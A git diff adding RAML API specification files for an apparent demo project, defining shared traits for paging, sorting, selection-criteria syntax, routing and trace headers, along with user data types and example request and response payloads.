+# - type: encryption-certificate-serial-number-in-dec
+# value: "351686516876516213213546987984965163216"
+# multiple-field-example:
+# value:
+# - type: oAuth2-access-token
+# value: Bfrdget3456iuyge+Og==
+# - type: passive-saml-token
+# value: 87623uhvbuberc754yvygwedjhgaskdjgfiuwe8976539gkhegf
+# - type: encryption-certificate-serial-number-in-dec
+# value: "351686516876516213213546987984965163216"
+
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml
new file mode 100644
index 0000000..80afe9d
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-pageable.raml
@@ -0,0 +1,40 @@
+#%RAML 1.0 Trait
+description: |
+ If an API has the pageable trait, the consumer can control the pagination properties in query parameters.
+ If the consumer does not provide pagination query parameters, default values will be used by the provider.
+ Provider will always populate response header values to inform the consumer.
+
+queryParameters:
+ page-number:
+ displayName: Page Number
+ description: Number of the page that is requested
+ type: integer
+ required: false
+ example: 20
+ default: 1
+ page-size:
+ displayName: Page Size
+ description: Number of the items in one page
+ type: integer
+ required: false
+ example: 80
+ default: 10
+
+responses:
+ 200:
+ headers:
+ aflac-page-number:
+ description: Number of the page that is returned
+ type: integer
+ required: true
+ example: 20
+ aflac-page-size:
+ description: Number of the items in one page
+ type: integer
+ required: true
+ example: 80
+ aflac-total-paged-item-count:
+ description: Total number of all items that are found by the selection criteria
+ type: integer
+ required: true
+ example: 8000
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml
new file mode 100644
index 0000000..71fc362
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-performance-monitorable.raml
@@ -0,0 +1,31 @@
+#%RAML 1.0 Trait
+
+
+headers:
+ aflac-performance-report:
+ description: |
+ Performance monitorable trait is designed to provide real-time information to a consumer about the performance and status of each node in an integration implementation.
+ This collection of these metrics can be activated by the consumer by setting the "active" to true.
+ Currently, this field is defined as a string but the contents are a JSON object as shown in the example.
+ The complete information what this JSON Obejct looks like and how it can be used is documented in dataType-performance-report.raml fragment.
+
+ displayName: Aflac Performance Report
+ required: false
+ type: string
+ example: |
+ '{
+ "active": true,
+ "ns":
+ [
+ {"n": "ConsumerMachine","c": "Provider A","t": 1230000000000,"d": "dQ"},
+ {"n": "Server1","c": "Provider A","t": 1230000000150,"d": "uQ"},
+ {"n": "ConsumerMachine","c": "Provider A","t": 123000005400,"d": "uS","s":"200"},
+ {"n": "ConsumerMachine","c": "Provider A","t": 1230000000000,"d": "dQ","s":"200"}
+ ]
+ }'
+
+# The below section is commented out due to a limitation in Design Center.
+# When Headers are assigned a type of object the validation misinterprets and fails.
+# Until this is resolved, further headers will be of simple type, even the values can be object representations
+# type: !include ../data-types/dataType-performance-report.raml
+# example: !include ../examples/example-performance-report.raml
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml
new file mode 100644
index 0000000..d56bd71
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-routable.raml
@@ -0,0 +1,22 @@
+#%RAML 1.0 Trait
+description: When a consumer application makes a request to an API, it may provide its consumer ID and the reason why it is making the request, as the value of the business event header. These values are used to determine how the consumer's request is processed by the application network.
+
+headers:
+ aflac-consumer-id:
+ displayName: Aflac Consumer ID
+ type: string
+ required: false
+ description: A unique, descriptive name that represents the consumer application. The name must be created, approved and assigned at design time.
+ examples:
+ example1: wynsure-financial-service-app
+ example2: wynsure-financial-service-consumerfacing-api-impl1
+
+ aflac-business-event:
+ displayName: Aflac Business Event
+ description: A name that represents the business event which indicates why the request is being made.
+ type: string
+ required: false
+ examples:
+ example1: policyholder-information-requested
+ example2: account-setup-completed
+ example3: claim-submitted
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml
new file mode 100644
index 0000000..9f611dd
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-selectable.raml
@@ -0,0 +1,140 @@
+#%RAML 1.0 Trait
+
+queryParameters:
+ selection-criteria:
+ displayName: Selection Criteria
+ required: false
+ type: string
+ description: |
+ The selection criteria to select records.
+ This is a shorthand notation with () format, where is the type of . There are 4 recognized types
+ N for Number
+ S for String
+ D for Date and Time
+ B for Boolean
+
+ () that is wrapped with an open-close parenthesis pair is called a condition.
+
+ One pair of parenthesis can contain one and only one condition.
+
+ For each of the recognized types there is a list of operators
+ 1) Numbers: numbers of any type including integers, longs, floats and doubles. Exponential expressions are not allowed
+ The allowed operators are
+ eq -> means equal ... i.e. N(age eq 41)
+ ne -> means not equal ... i.e. N(length ne 5)
+ lt -> means less than ... i.e. N(height lt 3)
+ le -> means less than equal
+ gt -> means greater than
+ ge -> means greater than equal
+
+ 2) Dates and Times:
+ Must be represented in ISO 8601 extended format and must always be in GMT
+ Dates as YYYY-MM-DD
+ Times as hh:mm:ss.sss
+ DateTimes as YYYY-MM-DDThh:mm:ss.sssZ
+ The allowed operators are
+ eq -> means on that date and/or time
+ be -> means before that date and/or time, excluding the provided field value
+ bi -> means before that date and/or time, including the provided field value
+ af -> means after that and/or time, excluding the provided field value
+ ai -> means after that and/or time, including the provided field value
+
+ examples:
+ D(date-of-birth bi 2000-01-01)
+ D(member-since af 1999-12-31)
+
+
+ 3) Strings:
+ The allowed operators are
+ eq -> means exactly that string
+ ne -> means not equal to that string
+ sw -> means startsWith
+ ew -> means endsWith
+ co -> means contains
+
+ example:
+ S(name sw Jo)
+
+ 4) Booleans: special value of true or false without single quotes
+ The allowed operator is
+ eq -> means exactly that boolean value
+ ne -> means exactly the opposite of that boolean value
+
+ example:
+ B(is-active eq true)
+
+ With these types and type operators, conditions can be combined with logical operators of AND and OR.
+
+ Below is a use case for a complex selection criteria.
+ We want all the person records that match the following criteria
+ Person's first name starts with Joh, Tim OR Jam, AND the person is male, AND the person is older than 50
+ OR
+ Person's last name ends with tte, son OR fan, AND the person is female, AND the person's age is 40 or younger
+ AND
+ Person's is a a currently active member AND member since June 1st, 1999
+ AND
+ Person's residence is in one of the following ZIP codes, 90210, 30011, 08765
+
+ for readability purposes we will format the criteria using indentation and line breaks.
+ (
+ (
+ (
+ S(person.name.first sw Joh) OR
+ S(person.name.first sw Tim) OR
+ S(person.name.first sw Jam)
+ ) AND
+ B (person.gender.male eq true) AND
+ N(person.age gt 50)
+ ) OR
+ (
+ (
+ S(person.name.last ew tte) OR
+ S(person.name.last ew son) OR
+ S(person.name.last ew fan)
+ ) AND
+ B(person.gender.male eq false) AND
+ N(person.age le 40)
+ ) AND
+ (
+ B(person.is-active eq true) AND
+ D(person.member-since bi 1999-06-01)
+ ) AND
+ (
+ S(person.address.zip.ext5 eq 90210) OR
+ S(person.address.zip.ext5 eq 30011) OR
+ S(person.address.zip.ext5 eq 08765)
+ )
+ )
+
+ Q) What to use in terms of fieldNames?
+ A) The answer to this question is in the payload definition. Let's assume for the above example the person record is defined as the following structure.
+
+ person
+ name
+ first
+ middle
+ last
+ suffix
+ age
+ date-of-birth
+ is-active
+ gender
+ male
+ member-since
+ address
+ line1
+ line2
+ city
+ state
+ zip
+ ext5
+ ext4
+
+ Now look at the above example and see how we have used the a dotted notation to reach to the property we need when building our selection criteria.
+ Therefore, when reusing the selection criteria you should always keep the payload structure of the API in mind.
+ examples:
+ simple-example1: (D(startDate eq 2017-12-31))
+ simple-example2: (D(creation-timestamp be 2017-12-31T11:59:59.999Z))
+ ANDing-example: (S(name eq John) AND N(age eq 40))
+ ORing-example: (S(name eq John) OR S(name eq Jane))
+ complex-example: ((S(name eq John) AND N(age ge 40)) OR (S(name eq Jane) AND N(age le 40)) OR (N(weight eq 150.0) AND B(active eq true)))
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml
new file mode 100644
index 0000000..8e9f3e5
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-sortable.raml
@@ -0,0 +1,20 @@
+#%RAML 1.0 Trait
+description: |
+ Sorting can be requested by the consumer application by providing sortBy field name and sortOrder indicator.
+ If the consumer application does not provide any sorting input and if the provider API sorts the results, the API may provide information back to the consumer on how sorting has been done.
+ In this case, the API would return sorting information
+
+queryParameters:
+ sort-by:
+ displayName: Sort By
+ description: The name of the field by which the sorting will be executed on.
+ type: string
+ required: false
+ sort-order:
+ displayName: Sort Order
+ description: Indicates the direction of the sorting, asccending or descending. If no value is provided, the default value of ASC will be used.
+ type: string
+ required: false
+ enum:
+ - ASC
+ - DESC
\ No newline at end of file
diff --git a/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml
new file mode 100644
index 0000000..8800398
--- /dev/null
+++ b/demo/apis/SE-11155/1/2/aflac-canonical-definitions/1.0.0/traits/trait-traceable.raml
@@ -0,0 +1,24 @@
+#%RAML 1.0 Trait
+description: Traceable trait allows an operation to have the aflac-transaction-id header value which is GUID that uniquely represents a specific request
+
+headers:
+ aflac-transaction-id:
+ displayName: Aflac Transaction ID
+ type: string
+ required: false
+ description: |
+ GUID to track service requests.
+ If not provided by a consumer in the request, one will be created and assigned by the provider and returned to the consumer in the response
+ examples:
+ upperCase: B744DF0B-0B71-4A0C-9F5A-8D45F204987D
+ lowerCase: d1af335b-ce04-40e9-9557-f6ed399b1a87
+responses:
+ 200:
+ headers:
+ aflac-transaction-id:
+ displayName: Aflac Transaction ID
+ type: string
+ required: true
+ description: |
+ GUID to track service requests.
+ This is either the GUID passed by the consumer in the request or the GUID created by provider because the consumer did not pass one.
\ No newline at end of file
diff --git a/demo/apis/SE-11155/SE-11155.raml b/demo/apis/SE-11155/SE-11155.raml
new file mode 100644
index 0000000..cf8a92d
--- /dev/null
+++ b/demo/apis/SE-11155/SE-11155.raml
@@ -0,0 +1,43 @@
+#%RAML 1.0
+baseUri: https://anypoint.mulesoft.com/mocking/api/v1/links/db807048-967b-4533-bdc6-9ab0cb457492/ #
+
+title: Usage-Example-API
+
+uses:
+ lib: libraries/library.raml
+
+types:
+ user:
+ type: !include data-types/dataType-user.raml
+ users:
+ type: user[]
+ archive-users-request:
+ type: !include data-types/dataType-archive-users-request.raml
+ archive-users-response:
+ type: !include data-types/dataType-archive-users-response.raml
+ restore-user-request:
+ type: object
+ restore-user-response:
+ type: object
+
+
+/users:
+ type:
+ lib.applicable-to-collections:
+ coll-delete-200-cds-examples: !include /examples/users-delete-cds-200.raml
+ coll-delete-202-cds-examples: !include /examples/users-delete-cds-202.raml
+ coll-get-200-coll-examples: !include /examples/users-get-200.raml
+ coll-patch-req-item-examples: !include /examples/users-patch.raml
+ coll-patch-200-coll-and-cds-examples: !include /examples/users-patch-200.raml
+ coll-patch-202-cds-examples: !include /examples/users-patch-cds-202.raml
+ coll-post-req-item-and-coll-examples:
+ single-object-request-example: !include /examples/users-post-single.raml
+ multiple-objects-request-example: !include /examples/users-post-multi.raml
+ coll-post-200-item-and-coll-and-cds-examples:
+ single-input-200-response-example: !include /examples/users-post-single-200.raml
+ multiple-input-200-response-example: !include /examples/users-post-multi-200.raml
+ any-input-200-cds-response-example: !include /examples/users-post-cds-200.raml
+ coll-post-202-cds-examples: !include /examples/users-post-cds-202.raml
+
+ post:
+ securedBy: lib.basic
diff --git a/demo/apis/SE-11155/data-types/dataType-archive-users-request.raml b/demo/apis/SE-11155/data-types/dataType-archive-users-request.raml
new file mode 100644
index 0000000..9edd129
--- /dev/null
+++ b/demo/apis/SE-11155/data-types/dataType-archive-users-request.raml
@@ -0,0 +1,19 @@
+#%RAML 1.0 DataType
+
+displayName: Archive Users Request
+description: The request structure fo archiving a collection of users
+
+properties:
+ archive-location:
+ type: string
+ required: false
+ archive-time:
+ type: datetime
+ required: false
+ zip-records:
+ type: boolean
+ required: false
+example:
+ archive-location: \\DCS001AB\user-archive-folder
+ archive-time: 2018-08-10T13:00:00.000Z
+ zip-records: true
\ No newline at end of file
diff --git a/demo/apis/SE-11155/data-types/dataType-archive-users-response.raml b/demo/apis/SE-11155/data-types/dataType-archive-users-response.raml
new file mode 100644
index 0000000..b878e7d
--- /dev/null
+++ b/demo/apis/SE-11155/data-types/dataType-archive-users-response.raml
@@ -0,0 +1,20 @@
+#%RAML 1.0 DataType
+
+
+displayName: Archive Users Response
+description: The response structure fo archiving a collection of users
+
+properties:
+ archived-location:
+ type: string
+ required: false
+ archive-completed-time:
+ type: datetime
+ required: false
+ number-of-records-archived:
+ type: number
+ required: false
+example:
+ archived-location: \\DCS001AB\user-archive-folder
+ archive-completed-time: 2018-08-10T13:11:46.449Z
+ number-of-records-archived: 17225
\ No newline at end of file
diff --git a/demo/apis/SE-11155/data-types/dataType-restore-user-request.raml b/demo/apis/SE-11155/data-types/dataType-restore-user-request.raml
new file mode 100644
index 0000000..c055464
--- /dev/null
+++ b/demo/apis/SE-11155/data-types/dataType-restore-user-request.raml
@@ -0,0 +1 @@
+#%RAML 1.0 DataType
\ No newline at end of file
diff --git a/demo/apis/SE-11155/data-types/dataType-restore-user-response.raml b/demo/apis/SE-11155/data-types/dataType-restore-user-response.raml
new file mode 100644
index 0000000..c055464
--- /dev/null
+++ b/demo/apis/SE-11155/data-types/dataType-restore-user-response.raml
@@ -0,0 +1 @@
+#%RAML 1.0 DataType
\ No newline at end of file
diff --git a/demo/apis/SE-11155/data-types/dataType-user.raml b/demo/apis/SE-11155/data-types/dataType-user.raml
new file mode 100644
index 0000000..81a1d4d
--- /dev/null
+++ b/demo/apis/SE-11155/data-types/dataType-user.raml
@@ -0,0 +1,53 @@
+#%RAML 1.0 DataType
+
+type: object
+properties:
+ user-id:
+ displayName: User ID
+ type: string
+ required: false
+ description: System assigned id that represents a user. It is created when the new user record is created
+ example: ABC123
+ user-name:
+ displayName: User Name
+ description: User's full name
+ type: string
+ required: false
+ example: John F Remedy
+ user-date-of-birth:
+ displayName: Date of Birth
+ description: User's date of birth
+ type: date-only
+ required: false
+ example: 2000-01-01
+ user-address:
+ displayName: Mailing Address
+ description: User's mailing address
+ type: !include ../1/2/aflac-canonical-definitions/1.0.0/data-types/dataType-address.raml
+ required: false
+ example:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
+example:
+ user-id: ABCD1234
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-action-restore-user-200.raml b/demo/apis/SE-11155/examples/user-action-restore-user-200.raml
new file mode 100644
index 0000000..af2c15e
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-action-restore-user-200.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+restore-user-action-200-response-example:
+ name: Dogan
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml b/demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml
new file mode 100644
index 0000000..b5fe8b2
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-action-restore-user-cds-202.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+restore-user-202-response-example:
+ - context: response
+ code: HTTP 202
+ short-description: 1 user record have been accepted to be restored later
+ - context: confirmation
+ code: "123456789"
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-action-restore-user.raml b/demo/apis/SE-11155/examples/user-action-restore-user.raml
new file mode 100644
index 0000000..af5d8bc
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-action-restore-user.raml
@@ -0,0 +1,3 @@
+#%RAML 1.0 NamedExample
+restore-user-action-request-example:
+ name: Dogan
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-delete-cds-200.raml b/demo/apis/SE-11155/examples/user-delete-cds-200.raml
new file mode 100644
index 0000000..d6c7ce9
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-delete-cds-200.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 NamedExample
+user-delete-200-response-example:
+ - code: HTTP 200
+ short-description: 2 user records have been deleted
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-delete-cds-202.raml b/demo/apis/SE-11155/examples/user-delete-cds-202.raml
new file mode 100644
index 0000000..a60d066
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-delete-cds-202.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 NamedExample
+user-delete-202-response-example:
+ - context: response
+ code: HTTP 202
+ short-description: 2 user records have been accepted to be deleted later
+ - context: confirmation
+ code: "123456789"
+ short-description: confirmation of record 1
+ - context: confirmation
+ code: 1234aaaa
+ short-description: confirmation of record 2
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-get-200.raml b/demo/apis/SE-11155/examples/user-get-200.raml
new file mode 100644
index 0000000..64c4491
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-get-200.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 NamedExample
+user-get-200-response-example:
+ user-id: ABCD1234
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-patch-200.raml b/demo/apis/SE-11155/examples/user-patch-200.raml
new file mode 100644
index 0000000..1dbe3ba
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-patch-200.raml
@@ -0,0 +1,14 @@
+#%RAML 1.0 NamedExample
+user-patch-200-response-example:
+ - user-id: ABCD1234
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-patch-cds-200.raml b/demo/apis/SE-11155/examples/user-patch-cds-200.raml
new file mode 100644
index 0000000..8cae2ff
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-patch-cds-200.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 NamedExample
+user-patch-200-cds-response-example:
+ - code: HTTP 200
+ short-description: 2 user records have been updated
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-patch-cds-202.raml b/demo/apis/SE-11155/examples/user-patch-cds-202.raml
new file mode 100644
index 0000000..d6fe5bd
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-patch-cds-202.raml
@@ -0,0 +1,7 @@
+#%RAML 1.0 NamedExample
+user-patch-202-cds-response-example:
+ - context: response
+ code: HTTP 202
+ short-description: 1 user record have been accepted to be updated later
+ - context: confirmation
+ code: "123456789"
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-patch.raml b/demo/apis/SE-11155/examples/user-patch.raml
new file mode 100644
index 0000000..e11883d
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-patch.raml
@@ -0,0 +1,14 @@
+#%RAML 1.0 NamedExample
+user-patch-request-example:
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
diff --git a/demo/apis/SE-11155/examples/user-put-200.raml b/demo/apis/SE-11155/examples/user-put-200.raml
new file mode 100644
index 0000000..4f87a6e
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-put-200.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 NamedExample
+user-put-200-response-example:
+ - user-id: ABCD1234
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-put-cds-200.raml b/demo/apis/SE-11155/examples/user-put-cds-200.raml
new file mode 100644
index 0000000..dede024
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-put-cds-200.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 NamedExample
+user-put-200-cds-response-example:
+ - code: HTTP 200
+ short-description: 2 user records have been updated
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-put-cds-202.raml b/demo/apis/SE-11155/examples/user-put-cds-202.raml
new file mode 100644
index 0000000..2abb303
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-put-cds-202.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 NamedExample
+user-put-202-cds-response-example:
+ - context: response
+ code: HTTP 202
+ short-description: 2 user records have been accepted to be updated later
+ - context: confirmation
+ code: "123456789"
+ short-description: confirmation of record 1
+ - context: confirmation
+ code: 1234aaaa
+ short-description: confirmation of record 2
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/user-put.raml b/demo/apis/SE-11155/examples/user-put.raml
new file mode 100644
index 0000000..72ee7f3
--- /dev/null
+++ b/demo/apis/SE-11155/examples/user-put.raml
@@ -0,0 +1,17 @@
+#%RAML 1.0 NamedExample
+user-put-request-example:
+ user-id: ABCD1234
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-action-archive-users-200.raml b/demo/apis/SE-11155/examples/users-action-archive-users-200.raml
new file mode 100644
index 0000000..2b4ef85
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-action-archive-users-200.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 NamedExample
+users-archive-action-200-response-example:
+ archived-location: \\DCS001AB\user-archive-folder
+ archive-completed-time: 2018-08-10T13:11:46.449Z
+ number-of-records-archived: 17225
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml b/demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml
new file mode 100644
index 0000000..406f4c7
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-action-archive-users-cds-200.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 NamedExample
+users-archive-action-202-cds-response-example:
+ - context: response
+ code: HTTP 200
+ short-description: 2 user records have been accepted to be deleted later
diff --git a/demo/apis/SE-11155/examples/users-action-archive-users.raml b/demo/apis/SE-11155/examples/users-action-archive-users.raml
new file mode 100644
index 0000000..1b6af5c
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-action-archive-users.raml
@@ -0,0 +1,5 @@
+#%RAML 1.0 NamedExample
+users-archive-action-request-example:
+ archive-location: \\DCS001AB\user-archive-folder
+ archive-time: 2018-08-10T13:00:00.000Z
+ zip-records: true
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-delete-cds-200.raml b/demo/apis/SE-11155/examples/users-delete-cds-200.raml
new file mode 100644
index 0000000..f129650
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-delete-cds-200.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 NamedExample
+users-delete-200-cds-response-example:
+ - code: HTTP 200
+ short-description: 2 user records have been deleted
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-delete-cds-202.raml b/demo/apis/SE-11155/examples/users-delete-cds-202.raml
new file mode 100644
index 0000000..2718ed7
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-delete-cds-202.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 NamedExample
+users-delete-202-cds-response-example:
+ - context: response
+ code: HTTP 202
+ short-description: 2 user records have been accepted to be deleted later
+ - context: confirmation
+ code: "123456789"
+ short-description: confirmation of record 1
+ - context: confirmation
+ code: 1234aaaa
+ short-description: confirmation of record 2
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-get-200.raml b/demo/apis/SE-11155/examples/users-get-200.raml
new file mode 100644
index 0000000..62de694
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-get-200.raml
@@ -0,0 +1,47 @@
+#%RAML 1.0 NamedExample
+users-get-200-response-example:
+ - user-id: ABCD1234
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
+ - user-id: ABCD1235
+ user-name: John Remedy
+ user-date-of-birth: 2001-11-30
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
+ - user-id: ABCD1236
+ user-name: Tim Allen
+ user-date-of-birth: 1981-12-30
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-patch-200.raml b/demo/apis/SE-11155/examples/users-patch-200.raml
new file mode 100644
index 0000000..94b384f
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-patch-200.raml
@@ -0,0 +1,32 @@
+#%RAML 1.0 NamedExample
+users-patch-200-response-example:
+ - user-id: ABCD1234
+ user-name: George Castanza
+ user-date-of-birth: 2000-01-01
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
+ - user-id: ABCD1235
+ user-name: John Remedy
+ user-date-of-birth: 2001-11-30
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-patch-cds-200.raml b/demo/apis/SE-11155/examples/users-patch-cds-200.raml
new file mode 100644
index 0000000..ed78386
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-patch-cds-200.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 NamedExample
+users-patch-200-cds-response-example:
+ - code: HTTP 200
+ short-description: 2 user records have been updated
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-patch-cds-202.raml b/demo/apis/SE-11155/examples/users-patch-cds-202.raml
new file mode 100644
index 0000000..d629b23
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-patch-cds-202.raml
@@ -0,0 +1,11 @@
+#%RAML 1.0 NamedExample
+users-patch-202-cds-response-example:
+ - context: response
+ code: HTTP 202
+ short-description: 2 user records have been accepted to be updated later
+ - context: confirmation
+ code: "123456789"
+ short-description: confirmation of record 1
+ - context: confirmation
+ code: 1234aaaa
+ short-description: confirmation of record 2
\ No newline at end of file
diff --git a/demo/apis/SE-11155/examples/users-patch.raml b/demo/apis/SE-11155/examples/users-patch.raml
new file mode 100644
index 0000000..b319a67
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-patch.raml
@@ -0,0 +1,14 @@
+#%RAML 1.0 NamedExample
+users-patch-request-example::
+ user-address:
+ context: home
+ line1: 3388 Hamilton St
+ line2: Apt 1
+ city: Philadelphia
+ state-region-code: PA
+ state-region-name: Pennsylvania
+ country: USA
+ postal-code: "19104"
+ additional-postal-code: "0388"
+ validity: Valid
+ preference-index: 3
diff --git a/demo/apis/SE-11155/examples/users-post-cds-200.raml b/demo/apis/SE-11155/examples/users-post-cds-200.raml
new file mode 100644
index 0000000..c65c8cd
--- /dev/null
+++ b/demo/apis/SE-11155/examples/users-post-cds-200.raml
@@ -0,0 +1,4 @@
+#%RAML 1.0 NamedExample
+users-post-200-cds-response-example:
+ - code: HTTP 200
+ short-description: 2 user records have been created
\ No newline at end of file
